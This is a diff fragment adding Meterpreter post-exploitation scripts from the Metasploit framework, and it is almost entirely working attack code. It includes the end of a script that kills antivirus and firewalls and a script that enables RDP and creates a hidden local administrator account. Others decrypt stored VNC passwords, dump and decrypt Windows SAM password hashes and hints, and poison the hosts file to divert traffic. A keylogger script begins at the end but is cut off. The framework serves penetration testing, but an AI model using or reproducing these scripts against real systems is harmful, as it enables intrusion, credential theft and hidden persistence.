|
||||
end
|
||||
end
|
||||
|
||||
################## MAIN ##################
|
||||
killbt = false
|
||||
killfw = false
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-k"
|
||||
killbt = true
|
||||
when "-d"
|
||||
killfw = true
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
# get the version of windows
|
||||
if client.platform =~ /win32|win64/
|
||||
wnvr = session.sys.config.sysinfo["OS"]
|
||||
print_status("Running Getcountermeasure on the target...")
|
||||
check(session,avs,killbt)
|
||||
if wnvr !~ /Windows 2000/
|
||||
checklocalfw(session, killfw)
|
||||
checkdep(session)
|
||||
end
|
||||
if wnvr =~ /Windows Vista/
|
||||
checkuac(session)
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
190
scripts/meterpreter/getgui.rb
Normal file
190
scripts/meterpreter/getgui.rb
Normal file
@ -0,0 +1,190 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
|
||||
session = client
|
||||
host_name = client.sys.config.sysinfo['Computer']
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.log_directory,'scripts', 'getgui')
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
# Cleaup script file name
|
||||
@dest = logs + "/clean_up_" + filenameinfo + ".rc"
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-e" => [ false, "Enable RDP only." ],
|
||||
"-p" => [ true, "The Password of the user to add." ],
|
||||
"-u" => [ true, "The Username of the user to add." ],
|
||||
"-f" => [ true, "Forward RDP Connection." ]
|
||||
)
|
||||
def usage
|
||||
print_line("Windows Remote Desktop Enabler Meterpreter Script")
|
||||
print_line("Usage: getgui -u <username> -p <password>")
|
||||
print_line("Or: getgui -e")
|
||||
print(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def enablerd()
|
||||
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
|
||||
value = "fDenyTSConnections"
|
||||
begin
|
||||
v = registry_getvaldata(key,value)
|
||||
print_status "Enabling Remote Desktop"
|
||||
if v == 1
|
||||
print_status "\tRDP is disabled; enabling it ..."
|
||||
registry_setvaldata(key,value,0,"REG_DWORD")
|
||||
file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
|
||||
else
|
||||
print_status "\tRDP is already enabled"
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def enabletssrv()
|
||||
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
|
||||
begin
|
||||
v2 = registry_getvaldata(rdp_key,"Start")
|
||||
print_status "Setting Terminal Services service startup mode"
|
||||
if v2 != 2
|
||||
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
|
||||
service_change_startup("TermService","auto")
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
|
||||
cmd_exec("sc start termservice")
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
|
||||
|
||||
else
|
||||
print_status "\tTerminal Services service is already set to auto"
|
||||
end
|
||||
#Enabling Exception on the Firewall
|
||||
print_status "\tOpening port in local firewall if necessary"
|
||||
cmd_exec('netsh firewall set service type = remotedesktop mode = enable')
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def addrdpusr(session, username, password)
|
||||
|
||||
rdu = resolve_sid("S-1-5-32-555")[:name]
|
||||
admin = resolve_sid("S-1-5-32-544")[:name]
|
||||
|
||||
|
||||
print_status "Setting user account for logon"
|
||||
print_status "\tAdding User: #{username} with Password: #{password}"
|
||||
begin
|
||||
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
|
||||
if addusr_out =~ /success/i
|
||||
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
|
||||
print_status "\tHiding user from Windows Login screen"
|
||||
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
|
||||
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
|
||||
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
|
||||
print_status "\tAdding User: #{username} to local group '#{rdu}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
|
||||
|
||||
print_status "\tAdding User: #{username} to local group '#{admin}'"
|
||||
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
|
||||
print_status "You can now login with the created user"
|
||||
else
|
||||
print_error("Account could not be created")
|
||||
print_error("Error:")
|
||||
addusr_out.each_line do |l|
|
||||
print_error("\t#{l.chomp}")
|
||||
end
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def message
|
||||
print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator"
|
||||
print_status "Carlos Perez carlos_perez@darkoperator.com"
|
||||
end
|
||||
################## MAIN ##################
|
||||
# Parsing of Options
|
||||
usr = nil
|
||||
pass = nil
|
||||
lang = nil
|
||||
lport = 1024 + rand(1024)
|
||||
enbl = nil
|
||||
frwrd = nil
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-u"
|
||||
usr = val
|
||||
when "-p"
|
||||
pass = val
|
||||
when "-h"
|
||||
usage
|
||||
when "-f"
|
||||
frwrd = true
|
||||
lport = val
|
||||
when "-e"
|
||||
enbl = true
|
||||
end
|
||||
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if args.length > 0
|
||||
if enbl or (usr and pass)
|
||||
message
|
||||
if enbl
|
||||
if is_admin?
|
||||
enablerd()
|
||||
enabletssrv()
|
||||
else
|
||||
print_error("Insufficient privileges, Remote Desktop Service was not modified.")
|
||||
end
|
||||
end
|
||||
|
||||
if usr and pass
|
||||
if is_admin?
|
||||
addrdpusr(session, usr, pass)
|
||||
else
|
||||
print_error("Insufficient privileges, account was not be created.")
|
||||
end
|
||||
end
|
||||
|
||||
if frwrd == true
|
||||
print_status("Starting the port forwarding at local port #{lport}")
|
||||
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
|
||||
end
|
||||
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
|
||||
else
|
||||
usage
|
||||
end
|
||||
|
||||
else
|
||||
usage
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
109
scripts/meterpreter/getvncpw.rb
Normal file
109
scripts/meterpreter/getvncpw.rb
Normal file
@ -0,0 +1,109 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#----------------------------------------------------------------
|
||||
# Meterpreter script to obtain the VNC password out of the
|
||||
# registry and print its decoded cleartext
|
||||
#
|
||||
# by Kurt Grutzmacher <grutz@jingojango.net>
|
||||
#
|
||||
# rev history
|
||||
# -----------
|
||||
# 1.0 - 9/24/9 - Initial release
|
||||
#----------------------------------------------------------------
|
||||
|
||||
require 'rex/proto/rfb/cipher'
|
||||
|
||||
session = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-k" => [ true, "Specific registry key to search (minus Password)."],
|
||||
"-l" => [ false, "List default key locations"]
|
||||
)
|
||||
|
||||
def usage()
|
||||
print("\nPull the VNC Password from a Windows Meterpreter session\n")
|
||||
print("By default an internal list of keys will be searched.\n\n")
|
||||
print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n")
|
||||
print("\t-l\tList default key locations\n\n")
|
||||
completed
|
||||
end
|
||||
|
||||
def get_vncpw(session, key)
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
|
||||
begin
|
||||
return open_key.query_value('Password')
|
||||
rescue
|
||||
# no registry key found or other error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def listkeylocations(keys)
|
||||
print_line("\nVNC Registry Key Locations")
|
||||
print_line("--------------------------\n")
|
||||
keys.each { |key|
|
||||
print_line("\t#{key}")
|
||||
}
|
||||
completed
|
||||
end
|
||||
|
||||
# fixed des key
|
||||
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
|
||||
# 5A B2 CD C0 BA DC AF 13
|
||||
# some common places for VNC password hashes
|
||||
keys = [
|
||||
'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3',
|
||||
'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default',
|
||||
'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default',
|
||||
'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4',
|
||||
'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default',
|
||||
]
|
||||
|
||||
# parse the command line
|
||||
listkeylocs = false
|
||||
keytosearch = nil
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-l"
|
||||
listkeylocations(keys)
|
||||
when "-k"
|
||||
keytosearch = val
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if keytosearch == nil
|
||||
print_status("Searching for VNC Passwords in the registry....")
|
||||
keys.each { |key|
|
||||
vncpw = get_vncpw(session, key)
|
||||
if vncpw
|
||||
vncpw_hextext = vncpw.data.unpack("H*").to_s
|
||||
vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
|
||||
print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}")
|
||||
end
|
||||
}
|
||||
else
|
||||
print_status("Searching in regkey: #{keytosearch}")
|
||||
vncpw = get_vncpw(session, keytosearch)
|
||||
if vncpw
|
||||
vncpw_hextext = vncpw.data.unpack("H*").to_s
|
||||
vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
|
||||
print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}")
|
||||
else
|
||||
print_status("Not found")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
306
scripts/meterpreter/hashdump.rb
Normal file
306
scripts/meterpreter/hashdump.rb
Normal file
@ -0,0 +1,306 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Implement pwdump (hashdump) through registry reads + syskey
|
||||
|
||||
@client = client
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-p" => [ true, "The SMB port used to associated credentials."]
|
||||
)
|
||||
|
||||
smb_port = 445
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line "hashdump -- dump SMB hashes to the database"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-p"
|
||||
smb_port = val.to_i
|
||||
end
|
||||
}
|
||||
|
||||
# Constants for SAM decryption
|
||||
@sam_lmpass = "LMPASSWORD\x00"
|
||||
@sam_ntpass = "NTPASSWORD\x00"
|
||||
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
|
||||
@sam_numeric = "0123456789012345678901234567890123456789\x00"
|
||||
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
|
||||
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
|
||||
|
||||
@des_odd_parity = [
|
||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
||||
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
||||
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
||||
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
||||
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
||||
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
||||
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
||||
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
||||
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
||||
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
||||
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
||||
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
||||
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
||||
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
||||
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
||||
]
|
||||
|
||||
def capture_boot_key
|
||||
bootkey = ""
|
||||
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
||||
%W{JD Skew1 GBG Data}.each do |k|
|
||||
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
||||
return nil if not ok
|
||||
bootkey << [ok.query_class.to_i(16)].pack("V")
|
||||
ok.close
|
||||
end
|
||||
|
||||
keybytes = bootkey.unpack("C*")
|
||||
descrambled = ""
|
||||
# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
|
||||
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
|
||||
|
||||
0.upto(keybytes.length-1) do |x|
|
||||
descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
|
||||
end
|
||||
|
||||
|
||||
descrambled
|
||||
end
|
||||
|
||||
def capture_hboot_key(bootkey)
|
||||
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
|
||||
return if not ok
|
||||
vf = ok.query_value("F")
|
||||
return if not vf
|
||||
vf = vf.data
|
||||
ok.close
|
||||
|
||||
hash = Digest::MD5.new
|
||||
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
|
||||
|
||||
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
|
||||
rc4.key = hash.digest
|
||||
hbootkey = rc4.update(vf[0x80, 32])
|
||||
hbootkey << rc4.final
|
||||
return hbootkey
|
||||
end
|
||||
|
||||
def capture_user_keys
|
||||
users = {}
|
||||
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
|
||||
return if not ok
|
||||
|
||||
ok.enum_key.each do |usr|
|
||||
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
|
||||
next if usr == 'Names'
|
||||
users[usr.to_i(16)] ||={}
|
||||
users[usr.to_i(16)][:F] = uk.query_value("F").data
|
||||
users[usr.to_i(16)][:V] = uk.query_value("V").data
|
||||
|
||||
#Attempt to get Hints (from Win7/Win8 Location)
|
||||
begin
|
||||
users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0])
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
users[usr.to_i(16)][:UserPasswordHint] = nil
|
||||
end
|
||||
|
||||
uk.close
|
||||
end
|
||||
ok.close
|
||||
|
||||
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
|
||||
ok.enum_key.each do |usr|
|
||||
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
|
||||
r = uk.query_value("")
|
||||
rid = r.type
|
||||
users[rid] ||= {}
|
||||
users[rid][:Name] = usr
|
||||
|
||||
#Attempt to get Hints (from WinXP Location) only if it's not set yet
|
||||
if users[rid][:UserPasswordHint].nil?
|
||||
begin
|
||||
uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
|
||||
users[rid][:UserPasswordHint] = uk_hint.query_value("").data
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
users[rid][:UserPasswordHint] = nil
|
||||
end
|
||||
end
|
||||
|
||||
uk.close
|
||||
end
|
||||
ok.close
|
||||
users
|
||||
end
|
||||
|
||||
def decrypt_user_keys(hbootkey, users)
|
||||
users.each_key do |rid|
|
||||
user = users[rid]
|
||||
|
||||
hashlm_enc = ""
|
||||
hashnt_enc = ""
|
||||
|
||||
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
|
||||
|
||||
#Check if hashes exist (if 20, then we've got a hash)
|
||||
lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
|
||||
nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
|
||||
|
||||
#If we have a hashes, then parse them (Note: NT is dependant on LM)
|
||||
hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
|
||||
hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
|
||||
|
||||
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
|
||||
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
|
||||
end
|
||||
|
||||
users
|
||||
end
|
||||
|
||||
def decode_windows_hint(e_string)
|
||||
d_string = ""
|
||||
e_string.scan(/..../).each do |chunk|
|
||||
bytes = chunk.scan(/../)
|
||||
d_string += (bytes[1] + bytes[0]).to_s.hex.chr
|
||||
end
|
||||
d_string
|
||||
end
|
||||
|
||||
def convert_des_56_to_64(kstr)
|
||||
key = []
|
||||
str = kstr.unpack("C*")
|
||||
|
||||
key[0] = str[0] >> 1
|
||||
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
|
||||
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
|
||||
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
|
||||
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
|
||||
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
|
||||
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
|
||||
key[7] = str[6] & 0x7F
|
||||
|
||||
0.upto(7) do |i|
|
||||
key[i] = ( key[i] << 1)
|
||||
key[i] = @des_odd_parity[key[i]]
|
||||
end
|
||||
|
||||
key.pack("C*")
|
||||
end
|
||||
|
||||
def rid_to_key(rid)
|
||||
|
||||
s1 = [rid].pack("V")
|
||||
s1 << s1[0,3]
|
||||
|
||||
s2b = [rid].pack("V").unpack("C4")
|
||||
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
|
||||
s2 << s2[0,3]
|
||||
|
||||
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
|
||||
end
|
||||
|
||||
def decrypt_user_hash(rid, hbootkey, enchash, pass)
|
||||
|
||||
if(enchash.empty?)
|
||||
case pass
|
||||
when @sam_lmpass
|
||||
return @sam_empty_lm
|
||||
when @sam_ntpass
|
||||
return @sam_empty_nt
|
||||
end
|
||||
return ""
|
||||
end
|
||||
|
||||
des_k1, des_k2 = rid_to_key(rid)
|
||||
|
||||
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
d1.padding = 0
|
||||
d1.key = des_k1
|
||||
|
||||
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
|
||||
d2.padding = 0
|
||||
d2.key = des_k2
|
||||
|
||||
md5 = Digest::MD5.new
|
||||
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
|
||||
|
||||
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
|
||||
rc4.key = md5.digest
|
||||
okey = rc4.update(enchash)
|
||||
|
||||
d1o = d1.decrypt.update(okey[0,8])
|
||||
d1o << d1.final
|
||||
|
||||
d2o = d2.decrypt.update(okey[8,8])
|
||||
d1o << d2.final
|
||||
d1o + d2o
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
begin
|
||||
|
||||
print_status("Obtaining the boot key...")
|
||||
bootkey = capture_boot_key
|
||||
|
||||
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
|
||||
hbootkey = capture_hboot_key(bootkey)
|
||||
|
||||
print_status("Obtaining the user list and keys...")
|
||||
users = capture_user_keys
|
||||
|
||||
print_status("Decrypting user keys...")
|
||||
users = decrypt_user_keys(hbootkey, users)
|
||||
|
||||
print_status("Dumping password hints...")
|
||||
print_line()
|
||||
hint_count = 0
|
||||
users.keys.sort{|a,b| a<=>b}.each do |rid|
|
||||
#If we have a hint then print it
|
||||
if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
|
||||
print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""
|
||||
hint_count += 1
|
||||
end
|
||||
end
|
||||
print_line("No users with password hints on this system") if hint_count == 0
|
||||
print_line()
|
||||
|
||||
print_status("Dumping password hashes...")
|
||||
print_line()
|
||||
print_line()
|
||||
users.keys.sort{|a,b| a<=>b}.each do |rid|
|
||||
hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
|
||||
@client.framework.db.report_auth_info(
|
||||
:host => client.sock.peerhost,
|
||||
:port => smb_port,
|
||||
:sname => 'smb',
|
||||
:user => users[rid][:Name],
|
||||
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
|
||||
:type => "smb_hash"
|
||||
)
|
||||
|
||||
print_line hashstring
|
||||
|
||||
end
|
||||
print_line()
|
||||
print_line()
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Meterpreter Exception: #{e.class} #{e}")
|
||||
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
108
scripts/meterpreter/hostsedit.rb
Normal file
108
scripts/meterpreter/hostsedit.rb
Normal file
@ -0,0 +1,108 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Meterpreter script for modifying the hosts file in windows
|
||||
# given a single entrie or several in a file and clear the
|
||||
# DNS cache on the target machine.
|
||||
# This script works with Windows 2000,Windows XP,Windows 2003,
|
||||
# Windows Vista and Windows 2008.
|
||||
# Provided: carlos_perez[at]darkoperator[dot]com
|
||||
# Version: 0.1.0
|
||||
# Note: in Vista UAC must be disabled to be able to perform hosts
|
||||
# file modifications.
|
||||
################## Variable Declarations ##################
|
||||
session = client
|
||||
# Setting Arguments
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Options." ],
|
||||
"-e" => [ true, "Host entry in the format of IP,Hostname." ],
|
||||
"-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ]
|
||||
)
|
||||
def usage
|
||||
print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
|
||||
print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
|
||||
print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
|
||||
print_line("entry can be provided or a series of entries provided a file with one per line.")
|
||||
print_line(@@exec_opts.usage)
|
||||
print_line("Example:\n\n")
|
||||
print_line("run hostsedit -e 127.0.0.1,google.com\n")
|
||||
print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
record = ""
|
||||
#Set path to the hosts file
|
||||
hosts = session.sys.config.getenv('SYSTEMROOT')+"\\System32\\drivers\\etc\\hosts"
|
||||
#Function check if UAC is enabled
|
||||
def checkuac(session)
|
||||
winver = session.sys.config.sysinfo
|
||||
if winver["OS"] =~ (/Windows 7|Vista/)
|
||||
print_status("Checking if UAC is enabled.")
|
||||
open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
|
||||
value = open_key.query_value("EnableLUA").data
|
||||
if value == 1
|
||||
print_status("\tUAC is enabled")
|
||||
raise "Unable to continue UAC is enabbled."
|
||||
else
|
||||
print_status("\tUAC is disabled")
|
||||
status = false
|
||||
end
|
||||
end
|
||||
end
|
||||
#Function for adding record to hosts file
|
||||
def add2hosts(session,record,hosts)
|
||||
ip,host = record.split(",")
|
||||
print_status("Adding Record for Host #{host} with IP #{ip}")
|
||||
session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
|
||||
end
|
||||
|
||||
#Make a backup of the hosts file on the target
|
||||
def backuphosts(session,hosts)
|
||||
random = sprintf("%.5d",rand(100000))
|
||||
print_status("Making Backup of the hosts file.")
|
||||
session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
|
||||
print_status("Backup loacated in #{hosts}#{random}.back")
|
||||
end
|
||||
# Clear DNS Cached entries
|
||||
def cleardnscach(session)
|
||||
print_status("Clearing the DNS Cache")
|
||||
session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
|
||||
end
|
||||
if client.platform =~ /win32|win64/
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-e"
|
||||
checkuac(session)
|
||||
backuphosts(session,hosts)
|
||||
add2hosts(session,val,hosts)
|
||||
cleardnscach(session)
|
||||
when "-l"
|
||||
checkuac(session)
|
||||
if not ::File.exist?(val)
|
||||
raise "File #{val} does not exists!"
|
||||
else
|
||||
backuphosts(session,hosts)
|
||||
::File.open(val, "r").each_line do |line|
|
||||
next if line.strip.length < 1
|
||||
next if line[0,1] == "#"
|
||||
add2hosts(session,line.chomp,hosts)
|
||||
end
|
||||
cleardnscach(session)
|
||||
end
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
if args.length == 0
|
||||
usage
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
212
scripts/meterpreter/keylogrecorder.rb
Normal file
212
scripts/meterpreter/keylogrecorder.rb
Normal file
@ -0,0 +1,212 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
# Updates by Shellster
|
||||
#-------------------------------------------------------------------------------
|
||||
session = client
|
||||
# Script Options
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
|
||||
"-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ],
|
||||
